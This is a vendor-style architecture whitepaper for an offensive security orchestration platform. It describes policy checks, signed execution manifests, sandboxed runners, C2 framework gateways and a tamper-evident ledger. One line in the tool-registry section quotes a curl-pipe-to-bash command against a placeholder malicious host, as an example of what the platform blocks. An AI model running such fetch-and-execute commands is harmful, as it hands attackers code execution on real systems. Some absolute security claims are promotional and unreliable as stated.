SPECTRASTRIKE PLATFORM ARCHITECTURE WHITEPAPER Document Classification: PUBLIC (Whitepaper Draft) Subject: Policy-Driven, Cryptographically Verifiable Offensive Execution Fabric Target Audience: Chief Information Security Officers (CISO), Principal Security Architects, Military Cyber Commands, Tier-1 MSSPs.

EXECUTIVE SUMMARY

Modern offensive cybersecurity operations—spanning Red Teaming, automated Pentesting, and continuous Threat Simulation—have outgrown traditional script execution and monolithic C2 (Command & Control) frameworks. As organizations scale offensive operations, the infrastructure used to simulate attacks becomes a prime target. If compromised, an offensive orchestration platform becomes a weaponized, highly privileged RCE (Remote Code Execution) engine against the very enterprise it was designed to protect.

SpectraStrike represents a paradigm shift from traditional “wrapper-based” pentest automation to a Universal Offensive Infrastructure-as-a-Service (IaaS).

Built on strict military-grade, Zero-Trust principles, SpectraStrike eliminates hardcoded integrations in favor of a Policy-Driven Universal Execution Fabric. It allows operators to safely execute arbitrary authorized tooling (from custom Python scripts to advanced frameworks like Sliver and Mythic) under a cryptographically verifiable, non-repudiable ledger.

This whitepaper details the target-state architecture of SpectraStrike, explaining how it neutralizes insider threats, contains execution edge compromises, and provides mathematically verifiable proof of every action executed.

1. THREAT MODEL & DESIGN PHILOSOPHY

SpectraStrike’s architecture is engineered around the Assume Breach / Compromise Assumed model. We design against three primary adversaries:

1. The Captured Edge (External Adversary): Execution nodes operate in hostile, monitored environments. We assume a node will be captured, reverse-engineered, or manipulated by a Blue Team or a real threat actor.
2. The Malicious Insider (Rogue Operator): A credentialed operator attempts to use the platform to target unauthorized infrastructure or deploy unauthorized tools, masking their tracks.
3. The Supply Chain / Broker Compromise: An attacker compromises the message broker (RabbitMQ) or internal network and attempts to inject arbitrary commands to execution nodes.

Foundational Defense Principles

• Cryptographic Execution Only: An execution node will not run a script simply because it received a message. It demands cryptographic proof (JWS) that the Control Plane authorized the exact payload, payload hash, and target.
• Decoupled Authorization: The application code does not make security decisions. All access and capability checks are offloaded to an immutable Open Policy Agent (OPA) engine.
• Non-Repudiation: Every intent, authorization, execution, and output is hashed and chained into an append-only Merkle Tree ledger. In a legal or operational dispute, SpectraStrike can mathematically prove exactly what happened, when, and by whom.
• Ephemeral Blast Radius: Code execution happens in sub-second, hardware-isolated microVMs that are destroyed immediately after execution.

2. MACRO ARCHITECTURE OVERVIEW

The SpectraStrike ecosystem is divided into four strictly isolated planes:

1. Identity & Policy Plane: SPIFFE/SPIRE for workload identity; OIDC for human identity; Open Policy Agent (OPA) for authorization.
2. Control Plane (The Orchestrator): A stateless, API-driven routing and cryptographic signing engine. It holds no execution capabilities.
3. Execution Plane (The Edge): Distributed Universal Runners and C2 Gateways operating in isolated environments.
4. Audit & State Plane: PostgreSQL with Row-Level Security (RLS) and a Cryptographic Merkle Tree Ledger.

3. THE CRYPTOGRAPHIC EXECUTION PIPELINE (Step-by-Step)

The core innovation of SpectraStrike is the BYOT (Bring Your Own Tool) execution pipeline. Here is the exact, granular flow of how a generic script or tool is safely executed.

Step 1: Intent Declaration (The Operator)

An operator submits a task via the API/Web UI. They do not submit raw code. They submit a Directed Acyclic Graph (DAG) in YAML/JSON format.

• Payload: Target URN (urn:target:ip:10.0.0.5), Tool Hash (sha256:abc123...), Parameters (-p 443 --aggressive).
• The API enforces a strict schema and authenticates the operator via an OIDC token.

Step 2: Policy Evaluation (OPA)

Before the Orchestrator accepts the task, it queries the Open Policy Agent (OPA) with the context:

• [Operator ID] +[Tenant ID] + [Tool Hash] + [Target URN]
• OPA evaluates Rego policies: Is this operator authorized? Does this tenant own this target? Is this specific Tool Hash whitelisted in “The Armory” for this environment?
• If OPA denies, the request is dropped and an audit event is logged.

Step 3: Cryptographic Endorsement (The JWS Signer)

If approved, the Control Plane constructs the Execution Manifest.

• The Orchestrator requests a signature from HashiCorp Vault (or a cloud HSM).
• The Manifest is signed using JWS (JSON Web Signature).
• Crucial Risk Mitigation: Even if an attacker has fully compromised the RabbitMQ message broker, they do not have the HSM private key. They cannot forge a valid Execution Manifest.

Step 4: Asynchronous Dispatch (Message Broker)

The JWS-signed payload is published to the internal messaging backbone (RabbitMQ/Kafka).

• Traffic flows over strictly enforced mTLS.
• Tenant isolation is maintained via dedicated Virtual Hosts (vhosts) and Topic ACLs.

Step 5: Edge Verification (The Universal Runner)

The Universal Runner (a lightweight Go binary deployed on an edge node) pulls the message.

• Verification: The Runner fetches the Control Plane’s public key. It verifies the JWS signature.
• Anti-Replay: It checks the timestamp and nonce embedded in the JWS to ensure this isn’t a replayed attack.
• If verification fails, the payload is destroyed and a critical security alert is sent upstream.

Step 6: Ephemeral Sandboxed Execution

The Runner does not execute the script natively.

• It pulls the signed tool container from the internal SpectraStrike Armory (an immutable OCI registry).
• It spins up an ephemeral sandbox (e.g., AWS Firecracker microVM or gVisor container).
• Network Fencing: An eBPF/Cilium network policy is dynamically applied to the microVM, physically restricting outbound TCP/UDP traffic only to the authorized Target IP defined in the signed manifest.
• The tool runs.

Step 7: Telemetry Standardization & Ingestion

The executed tool writes its output. To support generic tools without custom wrappers, SpectraStrike mandates a contract:

• The script must output findings to a mapped volume (/output/findings.json) following the open CloudEvents specification.
• The Runner parses this JSON, attaches the exact JWS execution manifest as metadata, and pushes the structured telemetry back to the message broker.
• The microVM is immediately destroyed.

4. THE C2 GATEWAY PATTERN (Sliver, Mythic, Cobalt Strike)

For long-running, stateful operations (like managing active beacons), spinning up a microVM per command is unfeasible. SpectraStrike handles advanced C2 frameworks via the C2 Gateway Adapter Pattern.

• No Direct C2 Exposure: SpectraStrike never communicates directly with an implant/beacon.
• The Adapter: We deploy a dedicated microservice (e.g., sliver-sync-gateway).
• Ingestion (Implant -> Platform): When Sliver receives a callback, the Gateway listens to Sliver’s Multi-Player gRPC API. It translates Sliver’s proprietary session data into SpectraStrike’s universal CloudEvents JSON and pushes it to the Orchestrator.
• Execution (Platform -> Implant): When an Operator issues an interactive command via the SpectraStrike TUI, it undergoes the exact same OPA Policy Check and JWS Signing (Steps 1-3). The Gateway verifies the JWS, and only then translates the command back into a Sliver gRPC call.

This allows SpectraStrike to act as a unified “pane of glass” and policy enforcer for any underlying C2 framework, without inheriting the C2’s architectural vulnerabilities.

5. THE ARMORY (Immutable Tool Registry)

To prevent arbitrary script execution, SpectraStrike introduces The Armory. Operators cannot instruct the platform to curl http://malicious.com/script.sh | bash.

• All tools (Sliver binaries, custom Python scripts, Nmap, OSINT scanners) must be pre-packaged as OCI container images or static binaries.
• During ingestion, the tool is scanned for vulnerabilities (SBOM generation).
• The tool is hashed (SHA-256) and signed via Sigstore/Cosign.
• The execution Runner will only execute a binary if the hash precisely matches the hash signed in the Orchestrator’s JWS manifest.

6. FORENSIC LEDGER & NON-REPUDIATION

The most critical differentiator of SpectraStrike in an enterprise/military context is its ability to mathematically prove its actions.

• Append-Only Event Sourcing: The PostgreSQL database does not use mutable tables for operational state. It is an append-only event stream.
• Tamper-Evident Hash Chaining: Every execution request, OPA decision, and telemetry result is hashed. Each hash includes the hash of the previous event (Hash Chain).
• The Merkle Tree: Periodically, these chains are committed to a Merkle Tree (similar to Google Trillian).
• Client Verification: If a client claims SpectraStrike caused an outage at 14:00, the platform can export the cryptographically signed ledger. Third-party auditors can mathematically verify that either the platform did or did not execute a specific packet payload at that time, and that the database logs have not been altered post-incident by a rogue Database Administrator.

7. IDENTITY & TENANT ISOLATION

SpectraStrike guarantees strong isolation for Multi-Tenant and SaaS deployments:

• Workload Identity (SPIFFE/SPIRE): Static API keys and permanent TLS certificates are obsolete. Every component (Orchestrator, Runner, Gateway, RabbitMQ node) is issued a cryptographically verifiable identity document (SVID) that rotates automatically every hour. Mutual TLS (mTLS) is established dynamically based on these identities.
• Data at Rest Isolation: PostgreSQL implements strict Row-Level Security (RLS). The application context injects the tenant_id at the connection pool level. It is mathematically impossible for a SQL injection vulnerability in the application layer to leak data belonging to Tenant B while operating under Tenant A’s context.

8. STRATEGIC ADVANTAGE

By adopting this architecture, SpectraStrike transitions from a standard “Pentest Tool” to a Military-Grade Offensive Fabric.

1. Infinite Extensibility (BYOT): Rapid integration of new TTPs, C2 frameworks, and custom scripts without modifying the core platform codebase.
2. Unprecedented Auditability: The only platform capable of cryptographic non-repudiation for offensive operations.
3. Procurement Friction Removal: Designed specifically to pass the most rigorous Tier-1 enterprise and government security assessments by eliminating the risk of the platform becoming a weaponized C2 backdoor.